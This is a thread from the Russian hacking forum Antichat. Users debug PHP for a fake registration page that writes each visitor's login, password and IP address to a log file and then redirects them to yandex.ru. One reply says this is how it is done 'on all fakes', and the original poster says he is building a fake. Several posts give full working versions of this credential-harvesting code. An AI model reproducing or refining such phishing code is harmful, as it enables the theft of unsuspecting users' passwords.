Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Запись данных в файл и переход! (https://forum.antichat.xyz/showthread.php?t=67861)

-=Dem0n=- 20.04.2008 20:44

Запись данных в файл и переход!
 
Есть такой код:
PHP код:

<? 
global $login;
$filename "log.php";
function 
reglog() {
global 
$filename$login$pass$REMOTE_ADDR;
    
    
$d date("d.m.Y - H.i.s");
    
$str "
Login         
$login
Password        
$pass
IP            
$REMOTE_ADDR
Date          
$d";
    
$f fopen($filename"a");
    
fwrite($f"$str\n");
    
fclose($f);
}
if (
$loginreglog();
?>
<form action="" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register"><br>
        </td>
    </tr>
  </form>

Как сделатьчтобы после нажатия н кнопку пользователь переходит на определенный сайт?
например action="http://ya.ru/" неработает! точнее работает но данные из форм не пишутся в файл!

-=lebed=- 20.04.2008 20:59

1. Проверь права на запись
2.В коде исправь:
PHP код:

$str 
Login         "
.$login.
Password        "
.$pass.
IP            "
.$REMOTE_ADDR.
Date          "
.$d

Будет работать, если регистр глобалс on иначе везде надо POST['login'], POST['pass'].

-=Dem0n=- 20.04.2008 21:00

А права на запись какие?

-=lebed=- 20.04.2008 21:05

Цитата:

Сообщение от -=Dem0n=-
А права на запись какие?

666 ставь
PS http://faq.advancedhosters.com/chmod.html
У тебя вообще файл не создаётся?

.:EnoT:. 20.04.2008 21:05

дык запиши данные файл а потом переадресовывай, как на всех фейках.
А не пишется ещё потому что функция ничего не возвращает
PHP код:

<? 
global $login;
$filename "log.php";
function 
reglog() {
global 
$filename$login$pass$REMOTE_ADDR;
    
    
$d date("d.m.Y - H.i.s");
    
$str "
Login         
$login
Password        
$pass
IP            
$REMOTE_ADDR
Date          
$d";
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}
if (
$loginreglog();
?>
<form action="" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register"><br>
        </td>
    </tr>
  </form>

Но я бы на твоём месте этот скрипт сделал совершенно по-дургому, т.к. твой метод считаю корявым)
я б сделал вот так:
PHP код:

<?php    
function reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>

Так мне больше нравится))

-=Dem0n=- 20.04.2008 21:10

Большое спасибо! ;)
Хотел сделать фейл но вот такая ошибка:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 103

-=Dem0n=- 20.04.2008 21:34

103 это какраз header('location: http://yandex.ru/');

-=lebed=- 20.04.2008 21:58

немогу модифицировать информацию заголовка, заголовки уже отправлены, смотри как юзать header тут: http://php.su/functions/?f=header&choice=info
Цитата:

Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле или из PHP. Очень частой ошибкой является чтение кода функциями include() или require(), или другой функцией доступа к файлу, и наличие пробелов или пустых строк, которые выводятся до вызова header(). Та же проблема возникает при использовании едингого PHP/HTML-файла.
PS Вообщем ставь php-код в самое начало страницы.

.:EnoT:. 20.04.2008 22:07

в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.

-=Dem0n=- 20.04.2008 22:16

Цитата:

Сообщение от .:EnoT:.
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.

Всеравно не получается!
где именно вставить?


Время: 03:31